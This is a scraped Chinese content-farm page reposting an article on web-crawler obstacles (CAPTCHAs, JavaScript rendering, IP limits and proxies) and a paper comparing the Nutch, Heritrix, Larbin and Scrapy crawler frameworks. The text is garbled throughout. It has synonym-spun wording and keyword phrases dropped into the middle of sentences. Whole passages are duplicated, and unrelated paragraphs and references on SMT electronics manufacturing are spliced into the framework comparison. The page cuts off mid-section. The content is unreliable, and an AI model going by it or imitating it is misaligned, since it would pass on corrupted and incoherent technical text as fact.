  有些網(wǎng)頁(yè)常常須要和用戶(hù)進(jìn)行一些交互,進(jìn)而能夠走到下一步,比如輸入一個(gè)驗證碼,拖動(dòng)一個(gè)滑塊,選幾個(gè)漢字。網(wǎng)站之所以如此做,很多時(shí)侯都是為了驗證訪(fǎng)問(wèn)者究竟是人還是機器。 而爬蟲(chóng)程序遇見(jiàn)這些情況很難處理,傳統的簡(jiǎn)單圖片驗證碼可以通過(guò)圖形處理算法讀出內容,但是隨著(zhù)各種各樣,花樣百出,人神共憤的、變態(tài)的驗證碼越來(lái)越多(尤其是買(mǎi)火車(chē)票時(shí),分分鐘都想爆臟話(huà)),這個(gè)問(wèn)題就越來(lái)越嚴重。
  02問(wèn)題二:Javascript 解析問(wèn)題
  如前文所述,javascript可以動(dòng)態(tài)生成dom。目前大多數網(wǎng)頁(yè)屬于動(dòng)態(tài)網(wǎng)頁(yè)(內容由javascript動(dòng)態(tài)填充),尤其是在移動(dòng)端,SPA/PWA應用越來(lái)越流行,網(wǎng)頁(yè)中大多數有用的數據都是通過(guò)ajax/fetch動(dòng)態(tài)獲取后之后再由js填充到網(wǎng)頁(yè)dom樹(shù)中,單純的html靜態(tài)頁(yè)面中有用的數據甚少。 目前主要應對的方案就是對于js ajax/fetch懇求直接懇求ajax/fetch的url ,但是還有一些ajax的懇求參數會(huì )依賴(lài)一段javascript動(dòng)態(tài)生成,比如一個(gè)懇求簽名,再例如用戶(hù)登錄時(shí)對密碼的加密等等,如果一昧的去用后臺腳本去干javascript原本做的事,這就要清楚的理解原網(wǎng)頁(yè)代碼邏輯,而這除了特別麻煩,而且會(huì )使你的爬取代碼異常龐大臃腫。 但是,更致命的是,有些javascript可以做的事爬蟲(chóng)程序是很難甚至是不能模仿的,比如有些網(wǎng)站使用拖動(dòng)滑塊到某個(gè)位置的驗證碼機制,這就很難再爬蟲(chóng)中去模仿。 其實(shí),總結一些,這些弊病歸根結底,是因為爬蟲(chóng)程序并非是瀏覽器,沒(méi)有javascript解析引擎所致。針對這個(gè)問(wèn)題,目前主要的應對策略就是在爬蟲(chóng)中引入Javascript 引擎,如PhantomJS,但是又有著(zhù)顯著(zhù)的弊病,如服務(wù)器同時(shí)有多個(gè)爬取任務(wù)時(shí),資源占用很大。
  還有就是,這些無(wú)窗口的javascript引擎好多時(shí)侯使用上去并不能象在瀏覽器環(huán)境中一樣,頁(yè)面內部發(fā)生跳轉時(shí),會(huì )導致流程很難控制。03問(wèn)題三:IP限制
  這是目前對后臺爬蟲(chóng)中最致命的。網(wǎng)站的防火墻會(huì )對某個(gè)固定ip在某段時(shí)間內懇求的次數做限制,如果沒(méi)有超過(guò)上線(xiàn)則正常返回數據,超過(guò)了,則拒絕懇求,如qq郵箱。 值得說(shuō)明的是,ip限制有時(shí)并非是專(zhuān)門(mén)為了針對爬蟲(chóng)的,而大多數時(shí)侯是出于網(wǎng)站安全緣由針對DOS攻擊的防御舉措。后臺爬取時(shí)機器和ip有限,很容易達到上線(xiàn)而造成懇求被拒絕。目前主要的應對方案是使用代理,這樣一來(lái)ip的數目都會(huì )多一些,但代理ip仍然有限,對于這個(gè)問(wèn)題,根本不可能徹底解決。 作者:lazydu 查看全部

  
  那是因為,其實(shí)是因為執行js代碼動(dòng)態(tài)添加到標簽上面的,所以這個(gè)時(shí)侯內容在js代碼上面的,而js的執行是在瀏覽器端的操作,所以用程序去懇求網(wǎng)頁(yè)地址的時(shí)侯,得到的response是網(wǎng)頁(yè)代碼和js的代碼,所以自己在瀏覽器端能看到內容,解析時(shí)因為js未執行,肯定找到指定HTML標簽下內容肯定為空,如百度的主頁(yè)就是這些,這個(gè)時(shí)侯的處理辦法,一般來(lái)講主要是要找到包含內容的js代碼串,然后通過(guò)正則表達式獲得相應的內容,而不是解析HTML標簽。B另一種情況是在和用戶(hù)交互時(shí),JavaScript可能會(huì )動(dòng)態(tài)生成一些dom,如點(diǎn)擊某個(gè)按鍵彈了一個(gè)對話(huà)框等;對于這些情況,一般這種內容都是一些用戶(hù)提示相關(guān)的內容,沒(méi)哪些價(jià)值,如果確實(shí)須要,可以剖析一下js執行邏輯,但這樣的情況極少。Ajax/Fetch異步懇求
  這種情況是現今太常見(jiàn)的,尤其是在內容以分頁(yè)方式顯示在網(wǎng)頁(yè)上,并且頁(yè)面無(wú)刷新,或者是對網(wǎng)頁(yè)進(jìn)行某個(gè)交互操作后,得到內容。對于這些頁(yè)面,分析的時(shí)侯我們要跟蹤所有的懇求,觀(guān)察數據究竟是在哪一步加載進(jìn)來(lái)的。然后當我們找到核心的異步懇求的時(shí)侯,就只需抓取這個(gè)異步懇求就可以了,如果原始網(wǎng)頁(yè)沒(méi)有任何有用信息,也沒(méi)必要去抓取原始網(wǎng)頁(yè)了。 爬蟲(chóng)技術(shù)的現況 01語(yǔ)言
  理論上來(lái)說(shuō),任何支持網(wǎng)路通訊的語(yǔ)言都是可以寫(xiě)爬蟲(chóng)的,爬蟲(chóng)本身其實(shí)語(yǔ)言關(guān)系不大,但是,總有相對順手、簡(jiǎn)單的。目前來(lái)說(shuō),大多數爬蟲(chóng)是用后臺腳本類(lèi)語(yǔ)言寫(xiě)的,其中python無(wú)疑是用的最多最廣的,并且頁(yè)誕生了好多優(yōu)秀的庫和框架,如scrapy、BeautifulSoup 、pyquery、Mechanize等。但是一般來(lái)說(shuō),搜索引擎的爬蟲(chóng)對爬蟲(chóng)的效率要求更高,會(huì )選用c++、java、go(適合高并發(fā)),詳情排名前50的開(kāi)源Web爬蟲(chóng)用于數據挖掘。我在學(xué)院時(shí)代就用c++實(shí)現了一個(gè)多線(xiàn)程的框架,但是發(fā)覺(jué)和python實(shí)現的爬蟲(chóng)效率提高并不顯著(zhù)nsf爬蟲(chóng)軟件,原因是,對于簡(jiǎn)單爬蟲(chóng)nsf爬蟲(chóng)軟件,瓶頸在于數據剖析及提取,而網(wǎng)路效率和語(yǔ)言關(guān)系并不大。值得一提的是,在近幾年node發(fā)展特別快, 使得javascript遍地開(kāi)花,有些人也開(kāi)始嘗試用node做爬蟲(chóng),但是,這也許和其它后臺腳本語(yǔ)言沒(méi)哪些區別,也不如python簡(jiǎn)單, 因為你仍然不能在node里發(fā)起ajax懇求,不能執行原網(wǎng)頁(yè)的dom。因為node的javascript執行環(huán)境和瀏覽器的執行環(huán)境并不相同。那么,難道就真的不能象在瀏覽器中一樣用js寫(xiě)爬蟲(chóng),用jquery提取內容嗎?想法太大膽,我們姑且擱置。 02運行環(huán)境
  爬蟲(chóng)本身不分辨究竟是運行在windows還是Linux,又或是OSX,但從業(yè)務(wù)角度講,我們把運行在服務(wù)端(后臺)的,稱(chēng)之為后臺爬蟲(chóng)。而如今,幾乎所有的爬蟲(chóng)都是后臺爬蟲(chóng)。后
  臺爬蟲(chóng)的三大問(wèn)題
  后臺爬蟲(chóng)在大行其道的時(shí)侯,也有著(zhù)些許棘手的、到目前也沒(méi)有哪些好的解決方案問(wèn)題,而歸根結底,這些問(wèn)題的根本緣由是因為后臺爬蟲(chóng)的先天不足造成,在即將討論之前,我們先思索一個(gè)問(wèn)題,“爬蟲(chóng)和瀏覽器有哪些優(yōu)缺?” 01相同點(diǎn)
  本質(zhì)上都是通過(guò)http/https合同懇求互聯(lián)網(wǎng)數據 02不同點(diǎn)
  爬蟲(chóng)通常為自動(dòng)化程序,無(wú)需用用戶(hù)交互,而瀏覽器不是;運行場(chǎng)景不同;瀏覽器運行在客戶(hù)端,而爬蟲(chóng)通常都跑在服務(wù)端;能力不同;瀏覽器包含渲染引擎、javascript虛擬機,而爬蟲(chóng)通常都不具備這三者。了解了這種,我們再來(lái)瞧瞧后臺面臨的問(wèn)題:01問(wèn)題一:交互問(wèn)題
  有些網(wǎng)頁(yè)常常須要和用戶(hù)進(jìn)行一些交互,進(jìn)而能夠走到下一步,比如輸入一個(gè)驗證碼,拖動(dòng)一個(gè)滑塊,選幾個(gè)漢字。網(wǎng)站之所以如此做,很多時(shí)侯都是為了驗證訪(fǎng)問(wèn)者究竟是人還是機器。 而爬蟲(chóng)程序遇見(jiàn)這些情況很難處理,傳統的簡(jiǎn)單圖片驗證碼可以通過(guò)圖形處理算法讀出內容,但是隨著(zhù)各種各樣,花樣百出,人神共憤的、變態(tài)的驗證碼越來(lái)越多(尤其是買(mǎi)火車(chē)票時(shí),分分鐘都想爆臟話(huà)),這個(gè)問(wèn)題就越來(lái)越嚴重。
  02問(wèn)題二:Javascript 解析問(wèn)題
  如前文所述,javascript可以動(dòng)態(tài)生成dom。目前大多數網(wǎng)頁(yè)屬于動(dòng)態(tài)網(wǎng)頁(yè)(內容由javascript動(dòng)態(tài)填充),尤其是在移動(dòng)端,SPA/PWA應用越來(lái)越流行,網(wǎng)頁(yè)中大多數有用的數據都是通過(guò)ajax/fetch動(dòng)態(tài)獲取后之后再由js填充到網(wǎng)頁(yè)dom樹(shù)中,單純的html靜態(tài)頁(yè)面中有用的數據甚少。 目前主要應對的方案就是對于js ajax/fetch懇求直接懇求ajax/fetch的url ,但是還有一些ajax的懇求參數會(huì )依賴(lài)一段javascript動(dòng)態(tài)生成,比如一個(gè)懇求簽名,再例如用戶(hù)登錄時(shí)對密碼的加密等等,如果一昧的去用后臺腳本去干javascript原本做的事,這就要清楚的理解原網(wǎng)頁(yè)代碼邏輯,而這除了特別麻煩,而且會(huì )使你的爬取代碼異常龐大臃腫。 但是,更致命的是,有些javascript可以做的事爬蟲(chóng)程序是很難甚至是不能模仿的,比如有些網(wǎng)站使用拖動(dòng)滑塊到某個(gè)位置的驗證碼機制,這就很難再爬蟲(chóng)中去模仿。 其實(shí),總結一些,這些弊病歸根結底,是因為爬蟲(chóng)程序并非是瀏覽器,沒(méi)有javascript解析引擎所致。針對這個(gè)問(wèn)題,目前主要的應對策略就是在爬蟲(chóng)中引入Javascript 引擎,如PhantomJS,但是又有著(zhù)顯著(zhù)的弊病,如服務(wù)器同時(shí)有多個(gè)爬取任務(wù)時(shí),資源占用很大。
  還有就是,這些無(wú)窗口的javascript引擎好多時(shí)侯使用上去并不能象在瀏覽器環(huán)境中一樣,頁(yè)面內部發(fā)生跳轉時(shí),會(huì )導致流程很難控制。03問(wèn)題三:IP限制
  這是目前對后臺爬蟲(chóng)中最致命的。網(wǎng)站的防火墻會(huì )對某個(gè)固定ip在某段時(shí)間內懇求的次數做限制,如果沒(méi)有超過(guò)上線(xiàn)則正常返回數據,超過(guò)了,則拒絕懇求,如qq郵箱。 值得說(shuō)明的是,ip限制有時(shí)并非是專(zhuān)門(mén)為了針對爬蟲(chóng)的,而大多數時(shí)侯是出于網(wǎng)站安全緣由針對DOS攻擊的防御舉措。后臺爬取時(shí)機器和ip有限,很容易達到上線(xiàn)而造成懇求被拒絕。目前主要的應對方案是使用代理,這樣一來(lái)ip的數目都會(huì )多一些,但代理ip仍然有限,對于這個(gè)問(wèn)題,根本不可能徹底解決。 作者:lazydu

主流開(kāi)源爬蟲(chóng)框架比較與剖析

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 355 次瀏覽 ? 2020-07-03 08:01 ? 來(lái)自相關(guān)話(huà)題

   65 ELECTRONICS WORLD 探求與觀(guān)察(下轉第67頁(yè))主流開(kāi)源爬蟲(chóng)框架比較與剖析北京工商大學(xué) 劉 雯【摘要】網(wǎng)絡(luò )爬蟲(chóng)是搜索引擎與信息檢索的基礎工具,在信息采集、信息過(guò)濾等場(chǎng)景中有著(zhù)廣泛的應用。本文首先介紹了URL鏈接庫、文檔內容模塊、文檔解析模塊等爬蟲(chóng)基礎概念,然后對比剖析了Nutch、Heritrix、Larbin、Scrapy等主流開(kāi)源爬蟲(chóng)框架?!娟P(guān)鍵詞】網(wǎng)絡(luò )爬蟲(chóng);數據采集;搜索引擎1.引言近些年來(lái),隨著(zhù)互聯(lián)網(wǎng)的高速發(fā)展,網(wǎng)絡(luò )中的數據呈現出了爆炸式的下降,如何搜集整合這種數據并從中提取出有效的信息,引發(fā)了多方面的挑戰。面對這種挑戰,爬蟲(chóng)技術(shù)得到了充分的注重。開(kāi)源網(wǎng)路爬蟲(chóng)框架促使爬蟲(chóng)的開(kāi)發(fā)與應用變的高效方便。各個(gè)開(kāi)源爬蟲(chóng)框架的實(shí)現語(yǔ)言與功能不完全相同,適用場(chǎng)景也不盡相同,需要對比不同開(kāi)源爬蟲(chóng)框架之間的好壞。2.爬蟲(chóng)的相關(guān)概念網(wǎng)路爬蟲(chóng)是用于互聯(lián)網(wǎng)采集的一種工具,通常又被稱(chēng)為網(wǎng)路機器人。在數據挖掘、信息檢索等領(lǐng)域,網(wǎng)絡(luò )爬蟲(chóng)被廣泛使用,從而獲取最原始的數據。網(wǎng)絡(luò )爬蟲(chóng)也是信息檢索和搜索引擎的重要組成部份,通過(guò)網(wǎng)路爬蟲(chóng)采集到的信息,經(jīng)過(guò)搜索引擎的整合,可以更好的用于檢索。
  2.1 網(wǎng)路爬蟲(chóng)的組成部分主流爬蟲(chóng)框架一般由以下部份組成:1. 種子URL庫:URL用于定位互聯(lián)網(wǎng)中的各種資源,如最常見(jiàn)的網(wǎng)頁(yè)鏈接,還有常見(jiàn)的文件資源、流媒體資源等。種子URL庫作為網(wǎng)絡(luò )爬蟲(chóng)的入口,標識出爬蟲(chóng)應當從何處開(kāi)始運行,指明了數據來(lái)源。2.數據下載器:針對不同的數據種類(lèi),需要不同的下載形式。主流爬蟲(chóng)框架通暢提供多種數據下載器,用來(lái)下載不同的資源,如靜態(tài)網(wǎng)頁(yè)下載器、動(dòng)態(tài)網(wǎng)頁(yè)下載器、FTP下載器等。3.過(guò)濾器:對于早已爬取的URL,智能的爬蟲(chóng)須要對其進(jìn)行過(guò)濾,以提升爬蟲(chóng)的整體效率。常用的過(guò)濾器有基于集合的過(guò)濾器、基于布隆過(guò)濾的過(guò)濾器等。4.流程調度器:合理的調度爬取流程,也可以提升爬蟲(chóng)的整體效率。在流程調度器中,通常提供深度優(yōu)先爬取、廣度優(yōu)先爬取、訂制爬取等爬取策略。同時(shí)提供單線(xiàn)程、多線(xiàn)程等多種爬取方法。2.2 網(wǎng)絡(luò )爬蟲(chóng)的爬取策略網(wǎng)路爬蟲(chóng)的爬取策略,可以更高效的組織爬蟲(chóng)的爬取過(guò)程。常見(jiàn)的爬取策略包括深度優(yōu)先爬取、深度優(yōu)先爬取、訂制爬取等策略等。1.深度優(yōu)先爬?。涸摬呗栽谂廊∶课籙RL資源后,會(huì )隨機爬取改URL對應的所有子URL資源,直到全部子URL資源全部爬取完畢,再爬取下一個(gè)URL資源。
  深度優(yōu)先爬取更關(guān)注數據的深度,希望通過(guò)爬取更多的子URL資源,來(lái)獲取更深層次的數據。2.廣度優(yōu)先爬?。涸摬呗栽谂廊∨鋫€(gè)URL資源時(shí),會(huì )繼續爬取同層次的其他URL資源,當本層的URL資源都被爬取完畢后,再爬取下一次URL資源。廣度優(yōu)先爬取更關(guān)注數據的廣度,這樣可以囊括更全面的數據。3.訂制爬?。涸俸枚鄨?chǎng)景中,深度優(yōu)先爬取或廣度優(yōu)先爬取未能滿(mǎn)足復雜的數據采集需求,此時(shí)須要定制爬取策略,如垂直搜索策略,先通過(guò)制訂關(guān)鍵詞進(jìn)行搜索后開(kāi)源爬蟲(chóng)框架,再結合深度優(yōu)先爬取或廣度優(yōu)先爬取,才可以獲取到垂直領(lǐng)域的特定數據。2.3 爬蟲(chóng)的增量爬取從數據的角度看,有些爬蟲(chóng)只進(jìn)行單次的爬取操作,而有些爬蟲(chóng)須要進(jìn)行增量爬取,用來(lái)積累數據。對于單次爬取的網(wǎng)路爬蟲(chóng),實(shí)現較為簡(jiǎn)單,因為不用考慮過(guò)濾去重等操作,所以模塊相對較少。單次爬取的爬蟲(chóng)主要考慮爬取的效率,有時(shí)會(huì )通過(guò)多線(xiàn)程或多進(jìn)程等形式提升爬取效率。對于須要增量爬取的網(wǎng)路爬蟲(chóng)。通常須要對URL鏈接、資源內容等進(jìn)行過(guò)濾和去重。每次爬取的時(shí)侯,需要對比數據是否重復,并將早已爬取過(guò)的內容過(guò)濾掉,從而降低冗余數據的爬取和儲存。實(shí)際應用中,增量爬蟲(chóng)的使用較為廣泛。3.主流開(kāi)源爬蟲(chóng)框架爬蟲(chóng)技術(shù)發(fā)展至今,已經(jīng)非常成熟,同時(shí)也形成了好多開(kāi)源的爬蟲(chóng)框架,入Nutch、Heritrix、Larbin、Scrapy,這些開(kāi)源框架的實(shí)現語(yǔ)言與功能各不相同,以下是這幾款開(kāi)源爬蟲(chóng)框架的比較與剖析。
  3.1 NutchNutch是一個(gè)比較小型的開(kāi)源框架,也是隸屬于A(yíng)pache基金會(huì )的一個(gè)開(kāi)源項目。Nutch最初服務(wù)于Lucene項目,Lucene是一個(gè)完整的搜索引擎框架,其中Nutch提供數據爬取服務(wù)。因為L(cháng)ucene是一個(gè)通用的搜索引擎框架,所以Nutch在設計之初也主要用于通用數據的爬取。在滿(mǎn)足通用需求的同時(shí),Nutch犧牲了一些多樣化開(kāi)發(fā)的特點(diǎn)。優(yōu)點(diǎn):Nutch適用于各類(lèi)規模的爬取任務(wù),底層可以和Hadoop平臺對接,提供分布式的爬取功能,同時(shí)支持分布式的調度及分布式的儲存。為了擴充各種多樣化功能,Nutch設計了插件框架,可以通過(guò)添加插件,來(lái)實(shí)現愈發(fā)復雜的爬取功能。缺點(diǎn):雖然有插件框架,但是Nutch的多樣化開(kāi)發(fā)成本仍然較高。 在使用默認的配置過(guò)濾文件是,是不抓取動(dòng)態(tài)網(wǎng)頁(yè)的,要想爬取動(dòng)態(tài)網(wǎng)頁(yè)須要更改過(guò)濾規則。3.2 HeritrixHeritrix是基于Java語(yǔ)言的爬蟲(chóng)框架,因其可擴展型和豐富的各種組件而聞名。但配置相對繁雜,所以學(xué)習成本過(guò)高。Heritrix提供了多種下載器,用于下載網(wǎng)頁(yè)、流媒體等多種類(lèi)型的數據。Heritrix還提供了圖形界面拿來(lái)管理爬蟲(chóng),可以通過(guò)網(wǎng)頁(yè)來(lái)啟動(dòng)貨控制各種爬蟲(chóng)。
  優(yōu)點(diǎn):Heritrix的爬蟲(chóng)訂制參數多包括,可設置輸出日志、可設置多線(xiàn)程采集模式、可設置下載速率上限等 開(kāi)發(fā)者可以通過(guò)更改組件的參數,來(lái)高效的更改爬蟲(chóng)功能 。缺點(diǎn):Heritrix很難實(shí)現分布式爬取,因為多個(gè)單獨爬蟲(chóng)之間,無(wú)法合作完成爬取任務(wù),可擴展性較差。在爬取失敗時(shí),也缺少重萬(wàn)方數據 67 ELECTRONICS WORLD 探求與觀(guān)察工作臺處于清潔的狀態(tài),并監督工作人員防靜電腕帶的配戴情況,且使用的鉗子須要具有防靜電的功能,或者在取料的時(shí)侯利用真空吸筆完成,放置靜電在元器件于手接觸時(shí)形成,第四,定期對相關(guān)設施進(jìn)行防靜電測試處理 [6] 。二、SMT表面貼裝技術(shù)的發(fā)展趨勢近些年來(lái),我國科學(xué)技術(shù)水平在社會(huì )經(jīng)濟快速發(fā)展的影響下得到了迅猛發(fā)展,表面貼裝技術(shù)在此背景下也獲得了寬廣的發(fā)展空間,并將會(huì )以小型化、精細化的方向不斷發(fā)展。針對SMT表面貼裝技術(shù)的發(fā)展趨勢進(jìn)行剖析可以發(fā)覺(jué),在未來(lái)的發(fā)展過(guò)程中,將會(huì )大幅度縮小SDC/SMD的容積,并其而不斷擴大其生產(chǎn)數目,就現階段表面貼裝技術(shù)的發(fā)展現況而言,將0603以及1005型表面貼膜式電容和內阻商品化的目的已然實(shí)現。同時(shí),集成電路的發(fā)展方向將會(huì )是小型化和STM化,現階段,市場(chǎng)上早已出現了腿寬度為0.3mm的IC業(yè),其發(fā)展方向將是BGA。
  此外,焊接技術(shù)也將會(huì )逐步趨向成熟階段,惰性氣體于1994年便早已被點(diǎn)焊設備廠(chǎng)家制造下來(lái)以滿(mǎn)足回流焊以及波峰焊的需求。與此同時(shí)免清洗工業(yè)也涌現下來(lái)但是應用非常廣泛。最后,測試設備以及貼片設備的效率將會(huì )大幅度提高,且靈活性也會(huì )不斷增強。目前,在使用SMT技術(shù)的時(shí)侯,其貼片速率大概在5500片/h左右,通過(guò)使用高柔化和智能化的貼片系統促使制造商的生產(chǎn)成品被大幅度增加,進(jìn)而促使生產(chǎn)效率以及精度的提高,并且豐富了貼片的功能 [7] 。三、結束語(yǔ)與傳統的THT而言,SMT的優(yōu)勢主要表現在其性能好、組裝密度高以及體積小和可靠性強等方面,受到其上述優(yōu)勢的影響,現階段電子設備以及電子產(chǎn)品的裝配技術(shù)均以SMT為主,并且在電子產(chǎn)品的生產(chǎn)制造領(lǐng)域得到廣泛應用。盡管在實(shí)際應用的時(shí)侯,SMT仍然表現出一些不足之處,但是與其所發(fā)揮的正面影響對比,這些不足并不影響該技術(shù)應用價(jià)值。所以,需要加強SMT技術(shù)的宣傳力度,促進(jìn)其應用可以覆蓋更多領(lǐng)域。與此同時(shí),還須要加到對該技術(shù)的研究力度,對其各項工藝流程給以建立,促進(jìn)其所用得到充分發(fā)揮,繼而有助于電子產(chǎn)品工藝制程清潔化、裝備模塊化、生產(chǎn)集成化和自動(dòng)化的愿景盡快實(shí)現,為電子行業(yè)的可持續發(fā)展提供可靠保障。
  參考文獻[1] 楊柳.SMT表面貼裝技術(shù)工藝應用實(shí)踐[J].科研,2016(8):00079-00079.[2]孫丹妮,周娟,耿豪凱,等.累積和與指數加權移動(dòng)平均控制圖在表面貼裝技術(shù)中的應用及仿真[J].機械制造,2017,55(3):77-80.[3]朱飛飛.談電子工業(yè)中SMT技術(shù)的工藝研究和發(fā)展趨勢[J].科研,2016(8):00286-00286.[4] 高文璇.Protel DXP技術(shù)與SMT技術(shù)在現今電子產(chǎn)業(yè)中的應用[J].電子世 界,2014(6):95-95.[5]王婷,方子正.SMD型表面貼裝元件殼體生產(chǎn)中技術(shù)難點(diǎn)和解決舉措[J].工程技術(shù):全文版,2016(7):00253-00253.[6]周超.闡述SMT表面貼裝技術(shù)工藝應用與發(fā)展趨勢[J].科研,2016(12):00008-00008.[7]李金明.電子工業(yè)中SMT技術(shù)工藝研究及發(fā)展趨勢[J].電子技術(shù)與軟件工程,2016(13):139-139.(上接第65頁(yè))試等機制,導致開(kāi)發(fā)者須要做好多額外工作來(lái)填補那些設計上的缺位。不同于Nutch框架開(kāi)源爬蟲(chóng)框架,僅憑Heritrix不能完成搜索引擎的全部工作,而只能完成爬蟲(chóng)階段的爬取工作。
  3.3 LarbinLarbin是一個(gè)基于C++語(yǔ)言的爬蟲(chóng)框架。Larbin提供了相對簡(jiǎn)單單非常易用的爬蟲(chóng)功能。單機Larbin爬蟲(chóng)可以每晚獲取百萬(wàn)量級的網(wǎng)頁(yè)。單Larbin不提供網(wǎng)頁(yè)解析服務(wù),也不考慮內容的儲存及處理。如果象使用Larbin進(jìn)行小型系統的實(shí)現,則須要自行開(kāi)發(fā)相應的其他組件。優(yōu)點(diǎn):指定入口URL后,可以手動(dòng)擴充,甚至整個(gè)網(wǎng)站鏡像;支持通過(guò)后綴名對抓取網(wǎng)頁(yè)進(jìn)行過(guò)濾;只保存原始網(wǎng)頁(yè);利用C++開(kāi)發(fā),非常高效。缺點(diǎn):只有網(wǎng)頁(yè)下載器,而沒(méi)有網(wǎng)頁(yè)解析器。不支持分布式爬取。沒(méi)有手動(dòng)重試功能。該項目在2003年后停止開(kāi)發(fā)維護。 3.4 ScrapyScrapy是基于python語(yǔ)言開(kāi)發(fā)的爬蟲(chóng)框架,由于它的輕量化設計和簡(jiǎn)單易用,而廣泛遭到開(kāi)發(fā)者的歡迎。優(yōu)點(diǎn):簡(jiǎn)單易用:只需編撰爬取規則,剩下由scrapy完成易擴充:擴展性設計,支持插件,無(wú)需改動(dòng)核心代碼可移植性:基于Linux、Windows、Mac、BSD開(kāi)發(fā)和運行設計。缺點(diǎn):?jiǎn)螜C多線(xiàn)程實(shí)現,不支持分布式。數據儲存方案支持 Local fi lesystem、FTP、S3、Standard output,默認無(wú)分布式存儲解決方案默認中間過(guò)程網(wǎng)頁(yè)不會(huì )保存,只保存抽取結果。
  4.總結與展望本文首先介紹了URL鏈接庫、文檔內容模塊、文檔解析模塊等爬蟲(chóng)基礎概念,然后對比剖析了Nutch、Heritrix、Larbin、Scrapy等主流開(kāi)源爬蟲(chóng)框架。不同的爬蟲(chóng)開(kāi)源框架的實(shí)現語(yǔ)言和功能不同,適用的場(chǎng)景也不盡相同,需要在實(shí)際應用中選擇合適的開(kāi)源爬蟲(chóng)框架。參考文獻[1]劉瑋瑋.搜索引擎中主題爬蟲(chóng)的研究與實(shí)現[D].南京理工大學(xué),2006.[2]詹恒飛,楊岳湘,方宏.Nutch分布式網(wǎng)路爬蟲(chóng)研究與優(yōu)化[J].計算機科學(xué)與探求,2011,5(01):68-74.[3]安子建.基于Scrapy框架的網(wǎng)路爬蟲(chóng)實(shí)現與數據抓取剖析[D].吉林大學(xué),2017.[4]周立柱,林玲.聚焦爬蟲(chóng)技術(shù)研究綜述[J].計算機應用,2005(09):1965-1969.[5]楊定中,趙剛,王泰.網(wǎng)絡(luò )爬蟲(chóng)在Web信息搜索與數據挖掘中應用[J].計算機工程與設計,2009,30(24):5658-5662.萬(wàn)方數據 查看全部

   65 ELECTRONICS WORLD 探求與觀(guān)察(下轉第67頁(yè))主流開(kāi)源爬蟲(chóng)框架比較與剖析北京工商大學(xué) 劉 雯【摘要】網(wǎng)絡(luò )爬蟲(chóng)是搜索引擎與信息檢索的基礎工具,在信息采集、信息過(guò)濾等場(chǎng)景中有著(zhù)廣泛的應用。本文首先介紹了URL鏈接庫、文檔內容模塊、文檔解析模塊等爬蟲(chóng)基礎概念,然后對比剖析了Nutch、Heritrix、Larbin、Scrapy等主流開(kāi)源爬蟲(chóng)框架?!?a href="http://www.hqbet6457.com/caiji/public_dict/" target="_blank">關(guān)鍵詞】網(wǎng)絡(luò )爬蟲(chóng);數據采集;搜索引擎1.引言近些年來(lái),隨著(zhù)互聯(lián)網(wǎng)的高速發(fā)展,網(wǎng)絡(luò )中的數據呈現出了爆炸式的下降,如何搜集整合這種數據并從中提取出有效的信息,引發(fā)了多方面的挑戰。面對這種挑戰,爬蟲(chóng)技術(shù)得到了充分的注重。開(kāi)源網(wǎng)路爬蟲(chóng)框架促使爬蟲(chóng)的開(kāi)發(fā)與應用變的高效方便。各個(gè)開(kāi)源爬蟲(chóng)框架的實(shí)現語(yǔ)言與功能不完全相同,適用場(chǎng)景也不盡相同,需要對比不同開(kāi)源爬蟲(chóng)框架之間的好壞。2.爬蟲(chóng)的相關(guān)概念網(wǎng)路爬蟲(chóng)是用于互聯(lián)網(wǎng)采集的一種工具,通常又被稱(chēng)為網(wǎng)路機器人。在數據挖掘、信息檢索等領(lǐng)域,網(wǎng)絡(luò )爬蟲(chóng)被廣泛使用,從而獲取最原始的數據。網(wǎng)絡(luò )爬蟲(chóng)也是信息檢索和搜索引擎的重要組成部份,通過(guò)網(wǎng)路爬蟲(chóng)采集到的信息,經(jīng)過(guò)搜索引擎的整合,可以更好的用于檢索。
  2.1 網(wǎng)路爬蟲(chóng)的組成部分主流爬蟲(chóng)框架一般由以下部份組成:1. 種子URL庫:URL用于定位互聯(lián)網(wǎng)中的各種資源,如最常見(jiàn)的網(wǎng)頁(yè)鏈接,還有常見(jiàn)的文件資源、流媒體資源等。種子URL庫作為網(wǎng)絡(luò )爬蟲(chóng)的入口,標識出爬蟲(chóng)應當從何處開(kāi)始運行,指明了數據來(lái)源。2.數據下載器:針對不同的數據種類(lèi),需要不同的下載形式。主流爬蟲(chóng)框架通暢提供多種數據下載器,用來(lái)下載不同的資源,如靜態(tài)網(wǎng)頁(yè)下載器、動(dòng)態(tài)網(wǎng)頁(yè)下載器、FTP下載器等。3.過(guò)濾器:對于早已爬取的URL,智能的爬蟲(chóng)須要對其進(jìn)行過(guò)濾,以提升爬蟲(chóng)的整體效率。常用的過(guò)濾器有基于集合的過(guò)濾器、基于布隆過(guò)濾的過(guò)濾器等。4.流程調度器:合理的調度爬取流程,也可以提升爬蟲(chóng)的整體效率。在流程調度器中,通常提供深度優(yōu)先爬取、廣度優(yōu)先爬取、訂制爬取等爬取策略。同時(shí)提供單線(xiàn)程、多線(xiàn)程等多種爬取方法。2.2 網(wǎng)絡(luò )爬蟲(chóng)的爬取策略網(wǎng)路爬蟲(chóng)的爬取策略,可以更高效的組織爬蟲(chóng)的爬取過(guò)程。常見(jiàn)的爬取策略包括深度優(yōu)先爬取、深度優(yōu)先爬取、訂制爬取等策略等。1.深度優(yōu)先爬?。涸摬呗栽谂廊∶课籙RL資源后,會(huì )隨機爬取改URL對應的所有子URL資源,直到全部子URL資源全部爬取完畢,再爬取下一個(gè)URL資源。
  深度優(yōu)先爬取更關(guān)注數據的深度,希望通過(guò)爬取更多的子URL資源,來(lái)獲取更深層次的數據。2.廣度優(yōu)先爬?。涸摬呗栽谂廊∨鋫€(gè)URL資源時(shí),會(huì )繼續爬取同層次的其他URL資源,當本層的URL資源都被爬取完畢后,再爬取下一次URL資源。廣度優(yōu)先爬取更關(guān)注數據的廣度,這樣可以囊括更全面的數據。3.訂制爬?。涸俸枚鄨?chǎng)景中,深度優(yōu)先爬取或廣度優(yōu)先爬取未能滿(mǎn)足復雜的數據采集需求,此時(shí)須要定制爬取策略,如垂直搜索策略,先通過(guò)制訂關(guān)鍵詞進(jìn)行搜索后開(kāi)源爬蟲(chóng)框架,再結合深度優(yōu)先爬取或廣度優(yōu)先爬取,才可以獲取到垂直領(lǐng)域的特定數據。2.3 